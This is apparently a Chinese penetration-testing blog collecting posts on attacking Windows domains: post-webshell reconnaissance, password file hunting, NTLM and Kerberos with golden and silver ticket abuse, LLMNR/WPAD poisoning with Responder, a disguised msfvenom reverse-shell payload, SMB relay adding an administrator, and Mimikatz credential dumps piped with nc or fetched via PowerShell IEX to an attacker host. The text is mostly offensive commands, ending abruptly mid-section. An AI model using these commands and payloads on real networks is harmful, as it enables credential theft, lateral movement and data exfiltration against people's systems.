APT404-不作恶

在路上,一直在路上!

域内信息搜集实战



0x01 搜集本机信息:

    这里就以拥有一个域内网中的普通用户[注意,这里并不是域用户哦]权限的机器的webshell作为我们整个域内渗透的开始,首先,没别的,先搜集下各种信息,主要是搜集各类账号密码,自然是翻到的越多越好(多一个有用的密码或hash就多一条生路),废话不多说,我们开始正题,从搜集本机信息开始,理论上来讲,拿到webshell的第一反应,没别的,先看下当前用户的系统权限再说,直接是system权限的这种情况咱们找时间另说,就先以一个很普通的网站用户权限,来继续我们下面的内容,whoami加上all参数可以把当前用户的sid也顺带查出来,只是告诉大家可以用这种方式查用户sid,虽然这个用户的sid没什么卵用,但如果是域管的就不一样了

1
# whoami  /all

''

接着再来看看本机的网络配置,主要是想看看当前机器是否处在内网,有几个内网,内网段分别是多少,是否是在域内网,网关是多少,dns指向的ip是哪里,当然,你也可以用wmic来查,但那个显示的并不是很完整,个人早已习惯了ipconfig /all,所以就用这个了

1
# ipconfig /all

''

查看所有登录到当前系统中的用户状态,主要还是想看看管理员在不在(哪怕不在,最近登录过也好,加入提成了,还能抓下历史明文),当然,query的用法并非仅限于此,关于query 的更多用法,请自行查看该命令帮助

1
# query user

''

看下当前系统中的所有网络连接(包括tcp和udp的),以及每个连接所对应的发起程序,主要是想看看有没有我们可以快速利用到的一些服务,运气好的情况下,你甚至可以看到同行的tcp马还在上面,如果是域控机器,这个连接[udp]可能会有非常多,你可以选择先把它重定向到文件然后下下来看

1
2
# netstat -ano | more
# netstat -anob >> portres.txt

''

查下本机的arp记录,看看最近和本机通信过的其它内网机器,在这里也许你会发现其它工具扫不到的机器和网段

1
# arp -a

''

看看本机的防火墙配置及状态,win建议用’netsh advfirewall firewall’,看你心情,随便用哪个,反正只是用个工具而已,能出正确的结果即可,不纠结

1
# netsh firewall show config

''

1
2
# netsh advfirewall firewall show rule name=all | more  
# netsh firewall show state

''

查看当前机器本地系统中的环境变量,主要是想瞅瞅path里面有没有我们可以利用到的一些运行环境,比如py,java(免杀效果好,不过这个,一般权限也比较高),ps(免杀效果好),ruby,perl等等……这样一来会方便我们后续用一些外部工具

1
# set

''

获取本机的mac,伪造mac可能会用得上

1
# getmac

''

查看当前windows的内核版本,其实可以忽略,systeminfo一下就搞定了,如果你只是想快速的看下当前系统的内核版本,不妨用用

1
# ver

查看当前系统中安装的所有软件及软件所对应的具体版本,看看有没有我们提权能用到的

1
# wmic product get name,version

''

查看当前系统中各个分区的大概使用情况,拷文件的时候心里有个谱

1
# wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem,volumeserialnumber

''

看下当前系统的补丁打的如何,因为数据比较多时间较长,菜刀里面很容易超时,不过,多试几次就好了

1
# wmic qfe get CSName,Description,hotfixid

''

当然,你还有更简单直观的命令可以选择,查看当前系统的详细配置,不过回显的内容比较多,可能也会出现超时的情况

1
# systeminfo

''

快速定位一些能提权的补丁编号,当然,你要自己针对目标的系统(03和08以上最好分开单独准备)事先准备好一些补丁号,记得务必要在可读写目录中执行该语句,因为它要创创建临时文件

1
# systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440  KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt

''

1
# wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3079904" 这是补丁安装后的状态

''

查看当前机器所安装的驱动,必要的时候,兴许对提权有些帮助,不过对虚拟机可能并没什么卵用,如果是实体物理机兴许还能利用上

1
# driverquery

''

查看当前机器的开启了哪些共享

1
2
# net share 
# net share \\hostname 查看指定的远程机器所开放的共享

''

1
# wmic share  get name,path,status  利用wmic查找共享

如果有条件的情况下,可以跟踪下路由,看看出口的公网ip,时间可能比较长(毕竟一跳一跳的走,中间一个超时就会卡很久),如果是菜刀可能会超时

1
# tracert www.google.com

查看当前机器都起了哪些进程,主要是想看看用的什么杀软,什么监控,什么服务等等……心里先有个底

1
# tasklist /svc

''

1
# tasklist /V  看下发起进程的用户身份,当然,你只能看到你有权限看到的

''

1
# wmic process where name='*.exe' list full   查询某个进程所对应某个具体的可执行程序是什么

''

1
2
3
4
5
6
7
8
9
10
# hostname 	  查看当前机器的主机名
# net start 查看当前系统已经启动的一些服务,注意这里的*scanner,很显然,已经有同行搞过,信心是不是有大了一点呢,嘿嘿……
# net session 查看当前系统正在连接的会话有哪些,权限要够,菜刀用的组件可能权限不允许,换大马会好点
# net user 查看本地所有的用户名
# net localgroup 查看本地所有的组名
# net localgroup "administrators" 查看指定组中的所有成员
# net localgroup "remote desktop users" 远程桌面组,如果你想要某个用户能进行远程桌面连接,可能需要把它加到该组中
# net accounts 查看本机的账号密码设置策略,添加用户的时候可能要注意下
# route print 打印下当前系统路由信息
# schtasks /query /fo list /v 查看本机的计划任务列表,win7以后就淘汰at了,不得不说schtasks是个非常好用的工具

找当前用户可读写目录,可能会很多,一般把根放在网站目录就好了,当然,你也可以传一些目录读写查询的小脚本来搞

1
# dir /a-r-d /s /b

setuid程序探测

除此之外,千万别忘了多去菜刀里面翻翻目录文件,兴趣能还能找到点儿有用的东西,有权限的情况下能翻多深就翻多深,另外,确实还有很多专门针对提权方面的系统信息探测,篇幅限制,到时会再单独拿出来做详细说明

0x02 搜集域内简要信息(期间务必仔细做好记录):

1
# net user /domain 	查看当前域中的所有用户名,根据用户名总数大概判断域的规模

''

1
# net user epoadmin /domain  查看指定用户在当前域中的详细属性信息

''

1
2
# net accounts /domain 		查看当前域的域内账户密码设置策略
# net config workstation 看看当前的登录域
1
# net view 	正常情况下可以用该命令查看当前域中在线的机器有哪些,但这样看着确实不太直观,稍微用批处理搞一下把机器名对应的ip也显示出来,岂不更畅快
1
2
3
4
5
6
7
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)

''

1
2
3
4
5
6
7
8
# net view /domain       		 查看所有的域名称
# net view /domain:PROGRAM 查看指定域中在线的计算机列表
# net time /domain 查看主域位置,一般都会把主域作为时间服务器
# net group /domain 查看当前域中的所有组名
# net group "domain admins" /domain 看看当前域中的域管都有谁
# net group "domain computers" /domain 看看当前域中的所有的计算机名,应该是只要登录过该域计算机名都会被保存下来
# net group "domain controllers" /domain 看看域控是哪几个
# nltest /domain_trusts 查看域信任关系
1
2
3
4
5
6
7
# dsquery computer 				   查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个和目标系统版本对应的dsquery
# dsquery user 查看当前域中的所有账户名
# dsquery group 查看当前域内的所有组名
# dsquery subnet 查看到当前域所在的网段
# dsquery site 查看域内网站
# dsquery server 查看当前域中的所有服务器(应该是指域控)
# dsquery user domainroot -name admin* -limit 240 查询前240个以admin开头的用户名

0x03 尽可能多的搜集本机的各种密码数据,关键字大家随意,这里只是给几个常见的:

1
2
3
4
5
# dir /b /s config.* 			搜集本机所有的配置文件路径
# dir /b /s login*txt 也有一些管理员笔记喜欢用txt记录一些服务配置或者密码信息
# dir /b /s login* 所有带有login字段的文件名
# dir /b /s *.bak 所有以bak为后缀的的文件名
# dir /b /s *.config 所有以config为后缀的文件名

在所有后缀为asp,ini,txt,php,aspx……的文件中找到带有password字符串文件,查询的时间可能会比较长,菜刀可能又会超时,另外,这样这里所有的查找都以当前路径为基础的

1
2
3
4
# findstr /si password *.ini *.txt *.asp *.cgi  
# findstr /si password *.ini *.txt *.aspx
# findstr /si password *.ini *.txt *.php
# findstr /si password *.ini *.txt *.php *.xml

0x04 更多,待续……

一点小结:
    关于域内信息搜集这里只是粗略零碎的提到了一些,确实还有很多很精悍的搜集技巧,都没提到,不过,那都是后话,比如,关于内网大致拓扑结构信息,端口服务信息….篇幅原因,压根也没提到,来日方长,我们还是循序渐进吧,’步子太大容易扯着蛋’,这次顶多先入个门,主要还是想借此说明,利用系统现有的工具在现有的权限条件下,我们到底能做些什么,务必要时刻谨记我们搜集信息的初衷(严禁盲目),你所搜到的每个信息,都应该有它存在的价值,也就是说后续我们到底可以拿它些什么,这非常无比的重要,举个简单例子,就拿搜集密码来说,首先我要知道哪些地方可能会存有密码,我们可能知道,各种数据库配置文件有数据库的连接密码(sa&root),各种第三方工具的配置文件中可能也保存的也有密码hash(比如,filezilla之流),浏览器中说不定保存的也有密码各种网站密码(找找有没有是目标网站的,想办法登进去传shell也是可以的),如果你运气不错,搞到了vpn账号密码岂不快哉,等等……其实,在你权限和免杀都没问题的情况下,要搜集的密码还有很多,关于更多搜集密码,猜密码的东西,后续会单独梳理出来,说了这么多废话,最终目的也只是想说明,如果大家只是照本宣科的把命令行尸走肉的过一遍,可以很负责任的告诉大家,几乎是没有任何意义的,不是吗,这里都是一些基础的不能再基础的命令,使用也极其简单,能不能拿到有用的东西,关键还在人,对信息的敏感度一定要高,细心点就好了,再说一遍,’严禁盲目,严禁盲目,严禁盲目’,其实,我也一直在强调,工具是死的,人是活的,知道你想要做什么,比怎么做更重要,这里,仅供参考,有不对的地方,麻烦大家多批评指正,说实话,这样敲命令显的确实有点儿呆萌,你可以选择把它丢到脚本中,一键搞定,不过,容错可能要做好点,万一命令执行异常了(有可能错过重要信息),就不太好了,不过,我自己还是喜欢手工,要什么记录什么就好了,干嘛非要动不动搞一大堆没用的信息,看着都累,希望大家平时也是,务必要勤记录,这绝对是个好习惯,祝大家好运,也非常期待多跟大家一起交流,毕竟,个人的力量始终是有限的


深刻理解Windows安全认证机制 [Ntlm & Kerberos]


0x01 为什么要理解windows 安全认证机制:

1
加深对后续各种漏洞利用的理解深度,还是那句话,要知其然,更要知其所以然,不废话,咱们直接开始

0x02 windows认证协议主要有以下两种:

1
2
基于ntlm的认证方式,主要用在早期的windows工作组环境中,认证的过程也相对比较简单
另一种是基于Kerberos的认证方式,主要用在域环境中,下面就这两种不同的认证方式做些简要的通信流程说明

0x03 关于ntlm认证流程简要说明,如下:
''

0x04 从图中我们可以清晰的看到,ntlm在域中的认证过程主要分为以下几步:

1
2
3
4
5
6
7
第一步,首先在client输入username,password和domain,然后client会把password hash后的值先缓存到本地
第二步,之后,client把username的明文发送给server(DC)
第三步,DC会生成一个16字节的随机数,即challenge(挑战码),再传回给client
第四步,当client收到challenge以后,会先复制一份出来,然后和缓存中的密码hash再一同混合hash一次,混合后的值称为response,之后client再将challenge,response及username一并都传给server
第五步,server端在收到client传过来的这三个值以后会把它们都转发给DC
第六步,当DC接到过来的这三个值的以后,会根据username到域控的账号数据库(ntds.dit)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值再混合hash
第七步,将(6)中混合后的hash值跟传来的response进行比较,相同则认证成功,反之,则失败,当然,如果是本地登录,所有验证肯定也全部都直接在本地进行了

0x05 关于ntlm的一点小结:
    它是一种基于挑战(challenge)/响应(response)消息交互模式的认证过程,从整个认证过程来看,安全确实不怎么到位,也就是说入侵者只需要拿到一个系统管理员的hash,直接给dc认证就好了,反正账户名和域名都知道,早期的pass the hash (psexec)确实就是通过这种方式来进行的,如果本地管理员的账号密码相同,其实不用密码一样可以被认证,我们所要做的就是不断通过这种方式来尝试拓展内网的其他机器,直到控制整个域,但后来的kb2871997,似乎改变了一些现状,但也可能只是似乎

0x06 关于kerberos的一些概述:
    相对于ntlm而言,kerberos的认证方式就要复杂的多,因为它提供了一个集中式的认证方式,在整个认证过程中总共要涉及到三方:客户端,服务端和KDC [Key Distribution Center 密钥分发中心], 在Windows域环境中,KDC的角色由DC(Domain Controller[域控])来担任,Kerberos是一种基于票据的认证方式,票据(Ticket)是用来安全的在认证服务器和用户请求的服务之间传递用户的身份,同时也会传递一些附加信息,用来保证使用Ticket的用户必须是Ticket中指定的用户,Ticket一旦生成,在生存时间内可以被Client多次使用来申请同一个Server的服务(票据窃取问题)

0x07 kerberos的大致工作流程:
    说到这里,我们大概也能明白,域中的客户端要想访问同域中的某个服务器资源时,需要首先购买该服务端认可的票据,也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场,但是这张票不能直接购买,还需要一张认购权证,也就是说客户端在买票之前需要预先获得一张认购权证,这张认购权证和进入服务器的入场券均有KDC发售,下面就以下图来做简要说明:
''

1
2
3
4
5
6
7
8
9
10
11
1)首先,客户端(client)将域用户的密码hash一次并保存,然后,以此hash来作为客户端和KDC之间的长期共享密钥[kc](当然,在DC上也保存着同样的一条hash)
2)之后,客户端(client)开始利用(1)中的域用户密码hash再把时间戳,clientid,TGS id等信息混合hash一次,然后向as(认证服务器 [Authentication Server])服务器进行请求
3)as接到该请求后,利用长期共享密钥(kc)进行解密,解密成功后,会返回给客户端两个票据
(1)加密的K(c,tgs)(用于客户端后续向KDC发起请求),TGS Name/ID,时间戳等,该票据由Kc加密
(2)票据授予票据(Ticket Granting Ticket,简称TGT),该票据是给TGS的,票据的内容包括K(c,tgs),Client身份信息,域名,时间戳等,该票据由TGS的秘钥加密,只有TGS能够解密
4)然后,客户端会利用长期共享密钥解密k(c,tgs),并利用该秘钥加密生成一个Authenticator,内容包括:lifetime,时间戳,Client身份信息等,连同从AS获取的TGT一并发送给TGS
5)TGS利用自身的秘钥解密TGT,获取K(c,tgs),并用K(c,tgs)解密客户端发送的Authenticator,对Client进行认证,如果Client通过了认证,TGS随机生成一个Session Key K(c,s),并产生两个票据
(1)服务票据(Ts):这是给服务器的服务票据,由Server秘钥Ks加密,内容包括:K(c,s),Client身份信息,Service ID,时间戳,lifetime等
(2)客户端票据(Tc):该票据由K(c,tgs)加密,内容包括:K(c,s),Server身份信息等
6)客户端收到tgs的回应后,利用K(c,tgs)解密Tc,获取K(c,s),Server身份信息等,并利用K(c,s)加密生成一个Authenticator发送给Server,内容包括:时间戳,Client ID等信息,连同Ts一并发送给Server
7)Server端在收到Client的请求后,利用自身秘钥Ks解密Ts,得到K(c,s),再利用K(c,s)解密Authenticator,对Client进行认证,如果认证通过,则表示KDC已经允许了此次通信,此时Sever无需与KDC通信,因为Ks为KDC和Sever之间的长期共享秘钥,如果在有效时间内,则此次请求有效

0x08 关于kerberos利用方法:

1) 黄金票据(Golden Ticket)
    先假设这么一种情况,原先已拿到的域内所有的账户hash,包括krbtgt这个账户,由于有些原因导致域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务

2) 白银票据(Silver Ticket)
    通过观察Kerberos协议的认证过程不难发现,如果我们获取了Server秘钥Ks(服务器口令散列值),就可以跳过KDC的认证,直接伪造票据和目标Server通信

0x09 关于黄金票据和白银票据的一些区别:
1)访问权限不同

1
2
Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket: 伪造TGS,只能访问指定的服务

2)加密方式不同

1
2
Golden Ticket 由Kerberos的Hash加密
Silver Ticket 由服务账号(通常为计算机账户)Hash加密

3)认证流程不同

1
Golden Ticket 的利用过程需要访问域控,而Silver Ticket不需要

小结:
    这些其实都是域内渗透最基础的知识,所以觉得大家还是非常有必要多花点儿时间,好好深刻体会一下,另外,微软给我们的建议是,尽量们不要直接使用NTLM,而使用negotiate,如果使用的是negotiate,windows则会先判断kerberos是否可用,如果可用就优先使用kerberos,否则才会使用NTLM,kerberos的安全性确实要比NTLM要高很多


工作组,域,域控是什么及它们之间的一些关系

为什么会出现类似像’工作组’这种东西?

    在了解工作组的具体细节之前,我们先来假设这么一个场景,你在某个互联网公司上班,公司部门有三四个,公司所有的pc加起来(假设绝大部分都是windows系统),总共有七八十台的样子,另外,还有几部打印机和文件共享服务器,也就是说,在公司整个办公内网中大概有80台机器的样子,好,有了场景,咱们再开始说正题,一天早上,你去上班,你同部门的基友说它最近搞了一批新种子,话说好看的不要不要的,问你想不想一睹风采,眼疾手快的你,当然是欣然接受了,然后你果断让那个基友回去马上给把种子共享出来,这时问题就来了,当你打开电脑,点进网络邻居里面一看,卧槽……七八十台机器,一下子杂乱无章的砸到你面前,为了种子,你翻啊,翻啊,费老劲才找到基友共享的种子(当然,可以直接ip访问他的共享,例子确实有些牵强,但这样说只是为了把今天的重点引出来,原谅表达能力实在不是太好……),这时候你心里肯定在骂那个傻x网管,就不能把各个部门的电脑分门别类的规整好吗,害老子要找半天,没错,这也正是早期工作组出现的意义,当然,它的意义也并非仅限于此

那么,到底什么是 ‘工作组’ ?

    从上面的实例中我们大概了解到,工作组就是把一些具有相同职能(比如,可以按部门,按房间号,按岗位,按操作系统类型等的不同进行分组管理)的机器都放到一个组里,这样以来,在整个办公内网(网络邻居)中的机器的作用就一目了然了,大大提高了我们的工作效率,……是哪个组就在哪个组里呆着,表面上大家各司其职,一切看起来仅仅有条,貌似是挺好的,别着急,先接着往下看

工作组的一些特点:

    在工作组中的每台机器对其自身都拥有绝对的掌控权,也就是说,你可以随意进出任何一个工作组,所谓的工作组只是形式上的把大家放在了一起而已,并不存在真正的集中管理作用,工作组内的每台机器依然是相互独立,互不干涉,各自为政的,举个很简单的例子,假设你和某台ftp服务器处在一个工作组内,因为工作的需要,你经常要到这个ftp上去上传下载各种文件,这时候问题来了,你必须提供一个正确的ftp账号密码给那台ftp服务器去验证,通过以后它才能让你正常的上传下载,假设在同一个工作组内还有其它各种各样的服务器,你要想去这些服务器上干点儿什么事儿,无疑,你还要提供n多个账号密码,试想,如果只是单单几十台机器也许还能够呛接受,但如果是几百台,几万台呢,很显然,我们有限的脑瓜容量绝对不会留着干记密码这种无聊的事情的,那问题又来了,该怎么办呢,这就用到’域’了,先提一嘴,后面再单独说它

    另外,从上面可知,工作组中的身份验证方式,是直接在被访问的机器上进行的,有个不得不说的有趣事实,当你本地系统的账号密码和工作组的中的某台机器的账号密码恰巧一样时,这时当你在登录状态去访问那台机器,就不再需要提供账号密码,而是直接就能访问到对方的系统资源,虽然这种’撞号’的几率很小,但不代表不可能,再退一步讲,即使你们账号密码不一样,只要你的guest账户处于启用状态(当然啦,默认都是关闭的),且没有更改过guest密码,一样是可以被工作组中的其它机器匿名访问到的,是不是很危险呢,不过,这一点在’域’也会被彻底改变,最后,我们还需要知道的是,一般在装完系统默认就会处在workgroup这个组中,在工作组中的机器使用netbios协议(作用就是把机器名转换为ip)进行通信


工作组优缺点:

    优点:它只是形式上的整体(并非真正的安全边界),但相对来说网络性能较高
    缺点:可以看到,所谓的工作组,实质上还是一盘散沙,基本没有任何安全性可言,如果你想进行安全部署,可能就只能一台一台的来配置,过程非常的繁琐,如果你只是想单单对某个几台机器进行集中管理,那就更麻烦了,因为诸多的原因,所以后来就有了windows’域’

关于工作组的渗透方式:

1
基于各种形式的服务爆破,嗅探,劫持,社工,等等……,你所能想到的所有内网渗透方式,跟普通的内网渗透并没什么太大区别

工作组环境下的简要拓扑说明:

1
处在同一交换机下的 fridend组

''

1
处在同一交换机下的 guys组 & gals组

''

好了,说完工作组,下面就来好好介绍下今天的重点 ‘域’:

    相对工作组这种’松散自由’的管理方式来讲,域就是一个权限控制相当严格的’工作组’,你甚至可以把它粗略理解成升级版的’工作组’,大家貌似都喜欢把域叫做’安全边界’,其实,个人觉得这确实已经说的够形象了,因为,相比工作组而言,它有一个更加严格的安全管理控制机制,不像工作组那样,在域内可以很方便的对某台或者几台机器,对某个用户或者几个用户进行非常详细的权限控制,另外,域也不像工作组,如果是工作组,只要处在同一内网下(默认是workgroup组),就可以随意访问组中的机器和共享的资源,但,如果是域,只是单单处在同一内网下,还是远远不够的,如果你想访问域内的资源,就必须先要以一个合法的身份加到域中,然后登陆到该域中才可以,至于你对域内的资源有什么样的权限,还需要看你当前的域用户身份,到这里,相信大家已经大概理解域和工作组之间的区别了

那么,问题来了,什么又是 ‘域控’ [DC即’域控制器’]呢?

    简单来讲,在一个机器装上活动目录以后,这个机器就会被称作域控,不过,这里需要注意的是,当一台机器变成域控以后该机器上所有的本地用户将会全部变成域内用户,本地安全策略也会升级为域安全策略,域控是整个域内的通信枢纽,所有的权限身份验证都会集中在域控上,如果域控出了问题,整个域内的通信基本也就瘫痪了,需要单独说明的是,域中用来进行身份验证的账户密码hash也都存在域控上[这也是我们在渗透域的最终目的,导出域内所有用户的账号和hash]

域控知道了,那什么又是 ‘域管’ 呢?

    其实,就管理性质而言,跟本地管理员的职责并没什么太大的不同,只不过域管是专门用来管理域控的,就像本地管理员只能用来管理本地系统,个人的认识仅此而已,不对的地方,欢迎大家指正

域和dns的关系 [dns服务器有点儿类似’中间人’的角色,主要负责转发]

    一般我们在搭建域环境时,中间有个步骤会提示要不要一块把dns服务也装了,个人建议这里最好一起装上,dns在域中的最主要的作用就是为了定位域控制器,让客户端能够找到域控制器,不过我们需要事先在dns上创建一个指向域控制器的区域,然后域内的所有客户机包括域控的dns地址都指向搭建好的dns服务器的ip,这时,当域中的机器进行通信时就会根据这个域名来找到域控制器以及对应的客户机,以此来保证域内的正常通信,其实,你可以可以更简单的理解,dns的主要作用其实就是负责转发,一般情况下,dns服务器和域控制器会处在同一台机器上,其实,也不太建议把它分开装

关于父域,子域,目录树,目录林的概念

    父域,子域之间建立信任构成了目录树,目录树与目录树之间建立信任则构成了目录林,核心就在于不管是在林中还是树中,只要他们之间已经建立了信任关系,任何一个域中的机器都可以登录到其它域中

关于父域,子域,活动目录树,目录林环境下的简单拓扑图:

''

关于域内用户数据漫游的设置:

1
正常情况下,用户的环境配置文件会在用户注销时同时保存两份,一份在网络中指定的位置,一份在本地,这样就很方便用户在域中的其它机器上进行登录

域内基本的策略管理:

    另外,在域中还有个很重要的特性,就是统一的策略管理,也就是说,我可以针对一台或者几台域内的机器集中进行严格的策略控制,当一个机器加到域中以后,它就不再走本地的安全策略了,而是统一的走域安全策略,比如,你可以集中对一个或者几个组或者组织单元配置不同的安全策略,也就是说,你想让它干啥,它才能干啥(其实,这个秘密就发生在你加入域的那一刻,域控偷偷往你的本地管理组加了个域管理员账号,所以域管才能很随意的去操作域内的任意机器)

关于域的科普差不多就到这儿了,现在我们就来简单了解下域内的基本渗透流程:

1
务必先想办法拿到一个普通域内用户的密码[发信,钓鱼,随便] -> 登陆到目标域中 -> 尽你所能找到域管进程 -> 抓取域管密码 -> 定位域控 -> 登到域控中导出域内所有hash留存备份 –> 想办法维持住域管权限基本就可以收工了 -> 上马准备下载资料


一点小结:

    虽然,暂时都是些非常基础的概念性的东西,但在后续的域内渗透过程中却无比重要,尤其当你在使用别人的工具(mimikatz,wce……之流)时,如果没有些基础概念做铺垫,是很难灵活运用的,更不要说去理解作者这样做的目的和好处,同样,对自己后续渗透思路的拓展,也是百害而无一利,不仅知其然,更要知其所以然嘛,包括后面加深对一些漏洞(ms14-068)的理解利用,都是如此,个人始终坚信,不管多么复杂的东西最终都是由基础慢慢堆积而来,尽自己的可能追溯到问题的本质自然是最好不过的,虽然可能会耗费你大量的时间和精力,但那却是值得的


利用LLMNR协议进行常规win内网渗透的理解与实践

0x01 由LLMNR协议引发的一系列中间人,在开始真正的内容之前,我们需要先来了解下,在同一内网环境下的windows机器之间的一些通信细节,当一台win机器向另一台win机器以域名[其实是机器名] 的形式请求相应的资源时,正常的通信流程如下

1
2
3
4
5
6
首先,windows会先去检查自己的主机配置文件[即常说的host文件,通常在C:\Windows\System32\drivers\etc下],然后按照此文件事先配置好的指向进行解析
当上面的步骤无法正确解析时,此时系统会自动去检查本地的dns缓存,按照缓存中的指向再进行解析,执行 ipconfig /displaydns 即可看到缓存内容
如果连本地缓存也不能正确解析,它会继续向本地网络中的dns服务器去请求
最后,如果本地网络中的dns也解析失败,它就会被交给LLMNR[链路本地多播名称解析]和netbios-ns去处理解析

[netbios 即名称服务,专门用于同一内网下windows机器之间通过机器名相互访问,工作在会话层]

0x02 而基于LLMNR的中间人攻击,也就发生在上面流程的最后一步:

假设现在有三台机器,A[正常的客户机],B[攻击者的机器],C[要访问的服务器],当A向C发起共享资源请求时,由于本地dns解析失败,正常情况下该请求会被交给LLMNR然后执行netbios查询,但不巧的是攻击者此时正在监听网络中的所有netbios查询请求,自然也就会捕捉到这条查询,当攻击者捕捉到该查询之后,它会告请求者也就是A,我[B]就是你要请求的那台服务器,接着A会把自己的账号密码提供给B认证,也就是说,此时B已经截获到了A的账号密码,一次简易的基于LLMNR中间人的攻击就这样被完成了,下面的流程图已经很好的说明了这一攻击过程
LLMNR

此时,我们再利用responder 来获取目标的smb hash,虽然不是明文,但我们可以配合类似hashcat的hash破解工具尝试破解该hash,当然,如果你有自己的GPU矩阵就再好不过了,或许很快就可以拿到对应的明文

1
# responder -I eth0


在C上,也就是我们的服务器上先创建一个共享目录

然后再回到A上通过smb进行访问

此时,回到B上我们就轻松截获了A发来的登陆凭证


0x03 说完netbios,我们再来说说WPAD,还是先大致了解下WPAD是个东西

正常情况下,一些公司为了提高网络利用率,尽量减小带宽消耗,在内部一般都会采用代理服务器的方式来上网,这也就意味着公司内部的员工要想上网则需要把自己的系统代理地址设为公司代理服务器的地址,说了一大堆没用的,WPAD又是干什么的呢,说白点主要用它来查找网络中的wpad.dat文件的,有了该文件以后,客户端以后就会根据文件中的内容自动配置代理,但如何查找到这个文件的位置呢,一种方式可以通过dns查询,另一种方式是通过dhcp服务进行检索,还有就是利用LLMNR查询,我们确实是可以利用dns或者dhcp毒化,来操控流量指向,但这种方式很容易被拦截,而LLMNR则不一样,它是通过广播告诉同一内网下的所有windows,它就是wpad服务器,这样当你的浏览器设置为’自动检测代理设置’的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器,相信下面的图已经描述的非常清楚了

利用responders获取内网明文密码

1
# responder -I eth0 -wFb




利用responder 在内网中伪造钓鱼页面批量挂后门 [内网社工也许会用得上]

1
2
3
4
5
首先,准备好自己的马,这里我就暂时直接用msf来生成了,实际中,大家尽可能把自己的马伪装的好一点
免杀是必须的,生成好以后把它放到我们的responder的files目录中

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.5 LPORT=1234 -f exe -o /root/Desktop/shell.exe
# mv /root/Desktop/shell.exe /usr/share/responder/files/

1
2
# 编辑responder的主配置文件,开启下面的选项
# vi Responder.conf
1
2
3
4
5
6
Serve-Always = On
Serve-Exe = On
HtmlFilename = files/AccessDenied.html
ExeFilename = files/shell.exe 指定我们刚刚生成的shell名称
ExeDownloadName = ProxyClient.exe 提示下载时所显示的名称,最好弄个成功率比较高的有诱惑性的名字
`

1
# responder -I eth0 -wrf





利用responder进行smbrelay攻击 [后面可以连续提供多个用户名进行尝试,记得用空格分开即可]:

1
#./SMBRelay.py -t 192.168.3.251 -c "net user vuln pass /ADD && net localgroup administrators vuln /add" -t 192.168.3.5 -u Administrator



一点小结:
    相对于各类传统的中间人,类似的攻击,成功率相对来说可能会更高,关于responder的用法,这里只简单列举了一部分,观察到最新版的里面又加了很多貌似很好用的功能,抽空再续吧,另外,也期待大家能一起积极深入交流讨论


Mimikatz 用法小记 [ 非交互抓取本地密码明文及Hash ]



0x01 非交互抓明文,即不在目标系统上留下任何文件,直接把抓取到的结果用nc发送到指定的远程机器[一般都是自己的vps]上,可能有些端口穿透性不太好,不妨多换几个常用的试试,如,80,8080,443,53……

1
2
# mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit |  nc -vv 192.168.3.251 1234  在目标机器上执行
# nc -lvp 1234 本地[实际中通常都是在自己的vps上]机器执行

0x02 本地非交互抓明文,把抓取到的hash结果重定向到目标系统的指定文件中

1
# mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full""  exit >> shash.txt

0x03 有时候由于杀软的问题,直接在目标系统上抓可能需要免杀,这时我们就可以先利用procdump把lsass.exe进程中的数据导出到指定文件中 [可能会有点儿大],再把导出的文件下回到本地用mimikatz读取文件中的密码hash,以实现免杀效果,不过需要注意的是,本地读文件的系统平台和目标的系统务必完全一致

1
2
先在目标机器上执行:
# procdump64.exe -accepteula -ma lsass.exe lsass.dmp

1
2
3
4
把dmp文件下回到本地机器上执行[注意,本地机器的系统和目标系统务必要保持完全一致]:
# mimikatz.exe
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonPasswords full

0x04 最后一种,在目标本地非交互抓hash的方式,利用powershell版的Mimikatz进行抓取,powershell本身就有一定的免杀效果,起码,目前为止对360杀毒是没有任何感觉的,但Nod基本是秒的,这个大家可以根据自己的实际情况而定,选择性使用

1
2
# powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1234
# nc -lvp 1234 本地[实际中通常都是在自己的vps上]机器执行

0x05 关于mimikatz 在域内网渗透中的更多实战用法,篇幅限制,待续……

一点小结:
    关于mimikatz的更多细节,如果大家有兴趣想深入研究,在作者的博客上已经提供了该工具的源码,有能力请自行详读,另外,需要提醒一下凡是要涉及触及到系统底层的敏感操作,务必最少都要有管理员权限,抓hash自然也不例外,不出意外的情况下,我们在成功提权[获取system权限]以后的下一步操作一般就是抓hash,好啦,废话就不多说了,这些东西想必大家都已经非常熟练了


Smb重放攻击 [Smb中间人]



0x01 在演示smb重放攻击之前,我们还是需要先搞清楚ntlm的基本认证过程,因为smb登录基于这个,正常情况下,ntlm的简要认证详细流程如下:

ntlm认证过程

1
client端  <----->  server端

1
2
3
4
5
6
7
